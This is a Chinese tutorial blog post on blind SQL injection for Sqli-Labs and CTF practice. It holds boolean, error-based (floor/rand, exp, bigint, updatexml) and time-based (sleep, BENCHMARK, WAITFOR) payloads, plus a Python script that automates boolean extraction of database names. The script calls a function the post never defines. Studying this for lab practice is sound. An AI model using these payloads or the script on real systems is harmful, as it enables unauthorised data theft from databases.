SQL注入总结(二) 盲注

写在前面

参考:BUUCTF-Sqli_Labs/ SQL注入天书
非常好的SQL注入文章,本文只是对它的拙劣总结
想掌握注入,实战永远比理论重要。
$ 在文章中代表可控变量
要求读者掌握基本的SQL语法知识
堆叠注入和神奇的存储过程绕过
SQLMap的使用

盲注

  • 基于布尔的盲注
  • 基于报错的盲注
  • 基于时间的盲注

字符串截取函数

1. MID(column_name,start[,length])

column_name:要提取的字段名字
start:开始的位置,注意sql是从1开始,不是0
length:返回多少个字符,省略则返回所有

举例:MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’

2. Substr()和substring()

两者和MID函数用法是一样的。
substring(string, start, length)

3. Left (string,n)

得到字符串左部指定个数的字符。

附注

  • ORD()函数
    此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用
    例如 ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’
  • Ascii()函数
    将某个字符转换为ascii值
    例如 ascii(substr((select database()),1,1))=98

详细介绍链接

正则表达式注入

select user() regexp '^[a-z]',匹配会返回1,否则返回0。

应用方法

  • 通过表达式范围的缩小一步步确定表名。expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

下面这种写法是SQL中的三目运算符:
select * from users where id=1 and 1=(if((user() regexp '...'),1,0))
这样写更简单一些:
select * from users where id=1 and 1=(user() regexp'...')
一个具体的例子

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='xxxxx' and table_name regexp '^us[a-z]' limit 0,1)
  • 注意:在limit 0,1下,regexp会匹配所有的项。使用regexp时,要注意可能有多个项,要一个个字符去爆破。limit是作用于select的,不是作用于regexp的!

MSSQL的注意事项

%号表示匹配任何长度的字串,_表示匹配一个任意字串。

  • MSSQL使用的并不是标准正则表达式,使用like关键字。
?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )

select top x :查询前x行的数据。

  • 不能像mysql一样用limit(x,1),只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是:表名没有在前x行里,其实查询的就是第x+1行

详细介绍链接

布尔盲注

原理很简单,自己写一段脚本代码就会了。
进阶要求:猜解的时候使用二分搜索

import requests

charset = ",{{}}abcdefghijklmnopqrstuvwxyz.!@$%^*():/1234567890_#"
url = ["","",""]
SuccessKey = ""

#读取输入
def init():
    print("自动布尔盲注脚本,需要输入URL,payload位置和成功页面特点。")
    print("请输入待测试URL,其中payload使用$来标识。")
    print("例如:http://www.test.com/?id=1' and $%23")
    print("请确保手动注入测试成功,再使用脚本爆破。")
    while True:
        url[0] = input(">url = ")
        if '$' not in url[0]:
            print("没有指出payload的位置。")
            continue
        else:
            break
    url[1],url[2] = url[0].split("$")
    global SuccessKey
    print("接下来输入页面成功的标识,请确保这个字串是唯一的。")
    SuccessKey = input(">SuccessKey = ")

#要在其他函数之前测试一下连接。
def TestConn():
    flags = [False,False,False]
    def TestConnSucc():
        try:
            resp = requests.get(url[1]+"1=1"+url[2])
            return resp
        except Exception as e:
            print(e)
            return None
    def TestConnFail():
        try:
            resp = requests.get(url[1]+"1=2"+url[2])
            return resp
        except Exception as e:
            print(e)
            return None

    RespSucc = TestConnSucc()
    RespFail = TestConnFail()

    if RespFail is None or RespSucc is None:
        print("不能建立与url的连接!")
        flags[0] = False
    else:
        flags[0] = True

    if SuccessKey in RespSucc.text:
        print("成功条件测试成功")
        flags[1] = True

    if SuccessKey not in RespFail.text:
        print("失败条件测试成功")
        flags[2] = True
    else:
        print("失败和成功判断是一样的!请修改识别的关键字")
        print(SuccessKey)

    return flags[0] and flags[1] and flags[2]

#测试payload使得返回的值是真是假
def TestPayload(payload):
    test_url = (url[1]+payload+url[2])
    resp = requests.get(test_url)
    if SuccessKey in resp.text:
        return True
    else:
        return False
#获取所有数据库
def getDatabases(maxlen=30):
    global charset
    get_len_payload = ("length(select group_concat(schema_name) from information_schema.schemata)=")
    get_name_payload = ("left((select group_concat(schema_name) from information_schema.schemata),$)=")
    length = 1
    while length < maxlen:
        if TestPayload(get_len_payload+str(length)) is True:
            break
        else:
            length += 1
    if length == maxlen:
        print("数据库总名称太长,或者程序出现错误了。")
    print("所有数据库名和逗号的总长度:"+str(length))

    name = ""
    payl = get_name_payload.split("$")
    for i in range(1,length+1):
        for j in charset:
            if j is '#':
                print("数据库的名字不在字符集中!")
                exit(0)
            full_payload = payl[0]+str(i)+payl[1]+"'"+name+j+"'"
            print(full_payload)
            if TestPayload(full_payload) is True:
                name += j
                break
        print("names: "+name)
    return name.split(",")

def __main__():
    init()
    if TestConn():
        getCurrentDatabaseName()
        #getDatabases()
        #tbl = getTables("ctftraining")
        #getColumns("ctftraining","flag")
        #getrows("ctftraining","flag","flag")
if __name__ == "__main__":
    __main__()

脚本只展示了一个函数,其他函数思想类似。

报错盲注

构造payload让信息通过错误提示回显出来。

  • group by报错
  • exp报错
  • bigint溢出报错
  • updatexml报错
  • mysql重复特性报错

1. group by

报错原理:插入时主键不唯一。group by子句会对后面的表达式运行两次,如果使用floor+rand(0)产生的有规律序列,很有可能在下一次运行的第二次运算时候产生一个相同的主键,并将这个相同的主键插入,引起错误。
详细解释链接

构造语句的方法
【payload】为你想要输出的字段。比如:SELECT schema_name FROM information_schema.schemata limit 0,1

and (select 1 from (
    select count(*),concat(
        (【payload】),
        floor (rand(0)*2))x
    from information_schema.tables group by x)a)

可以简化为

select count(*) from information_schema.tables group by concat(【payload】,floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(【payload】,floor(rand(0)*2))

(需要理解group by报错的原理)如果rand被禁用了,可以使用用户变量。用户变量需要用@变量名来表示,并且使用:=来进行赋值。这里使用min这个聚集函数是因为它可以给用户变量@a赋一个初值。

select min(@a:=1) from information_schema.tables group by concat(【payload】,(@a:=(@a+1)%2)

2. exp、bigint溢出

exp 报错原理:exp函数输入一个过大的数值就会发生溢出错误。
一个查询成功返回,其返回值为0。在sql中对0进行按位取反(即~0)会得到最大的bigint值,这个值输入到exp函数中一定会报错的。

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

因此可以构造select exp(~(select * FROM(【payload】)a))一类语句,利用错误回显出需要的数据。
详细原理链接

bigint同理。只不过一般不用加法来造成溢出,使用另一种方式,转换为减法。
select username, password from users where id='1' or !(select*from(【payload】)x)-~0;
详细原理和利用方法

3. updatexml 和 重复特性

利用了xpath语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
利用了重复特性,重复了version
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

时间盲注

和布尔盲注一个道理,只不过这里判断是否成功的依据变成了返回的时间。

--可以使用sleep函数
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23  
--另一种函数用法
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),
BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null)
 FROM (select database() as current) as tb1;

BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()。

Mysql:BENCHMARK(100000,MD5(1)) or sleep(5)
Postgresql:PG_SLEEP(5) OR GENERATE_SERIES(1,10000)
Ms sql server:WAITFOR DELAY ‘0:0:5’

来自白帽子讲web安全

Sqli-Lab Lesson 5-6,9,10,13-16 练习

Lesson 5-6:报错注入


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,558评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,002评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,036评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,024评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,144评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,255评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,295评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,068评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,478评论 1 305
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,789评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,965评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,649评论 4 336
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,267评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,982评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,223评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,800评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,847评论 2 351